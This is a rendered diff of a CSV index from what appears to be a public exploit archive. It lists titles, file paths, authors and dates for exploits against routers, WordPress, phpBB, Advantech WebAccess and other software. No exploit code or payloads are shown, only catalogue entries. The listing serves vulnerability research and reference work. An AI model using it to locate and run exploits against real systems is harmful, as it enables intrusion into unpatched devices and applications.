44253,exploits/hardware/remote/44253.py,"Tenda AC15 Router - Unauthenticated Remote Code Execution",2018-02-14,"Tim Carrington",remote,hardware,
|
||||||
44280,exploits/multiple/remote/44280.rb,"Eclipse Equinoxe OSGi Console - Command Execution (Metasploit)",2018-03-12,Metasploit,remote,multiple,
|
44280,exploits/multiple/remote/44280.rb,"Eclipse Equinoxe OSGi Console - Command Execution (Metasploit)",2018-03-12,Metasploit,remote,multiple,
|
||||||
|
44283,exploits/hardware/remote/44283.py,"MikroTik RouterOS < 6.38.4 (MIPSBE) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
|
||||||
|
44284,exploits/hardware/remote/44284.py,"MikroTik RouterOS < 6.38.4 (x86) - 'Chimay Red' Stack Clash Remote Code Execution",2018-03-12,"Lorenzo Santina",remote,hardware,
|
||||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||||
|
@ -38995,3 +38998,5 @@ id,file,description,date,author,type,platform,port
|
||||||
44277,exploits/php/webapps/44277.txt,"TextPattern 4.6.2 - 'qty' SQL Injection",2018-03-12,"Manuel García Cárdenas",webapps,php,
|
44277,exploits/php/webapps/44277.txt,"TextPattern 4.6.2 - 'qty' SQL Injection",2018-03-12,"Manuel García Cárdenas",webapps,php,
|
||||||
44278,exploits/windows/webapps/44278.py,"Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution",2018-03-12,"Chris Lyne",webapps,windows,
|
44278,exploits/windows/webapps/44278.py,"Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution",2018-03-12,"Chris Lyne",webapps,windows,
|
||||||
44281,exploits/windows/webapps/44281.txt,"ACL Analytics 11.X - 13.0.0.579 - Arbitrary Code Execution",2018-03-12,Clutchisback1,webapps,windows,
|
44281,exploits/windows/webapps/44281.txt,"ACL Analytics 11.X - 13.0.0.579 - Arbitrary Code Execution",2018-03-12,Clutchisback1,webapps,windows,
|
||||||
|
44285,exploits/aspx/webapps/44285.txt,"SecurEnvoy SecurMail 9.1.501 - Multiple Vulnerabilities",2018-03-13,"SEC Consult",webapps,aspx,
|
||||||
|
44286,exploits/php/webapps/44286.txt,"Tuleap 9.17.99.189 - Blind SQL Injection",2018-03-13,"Cristiano Maruti",webapps,php,
|
||||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue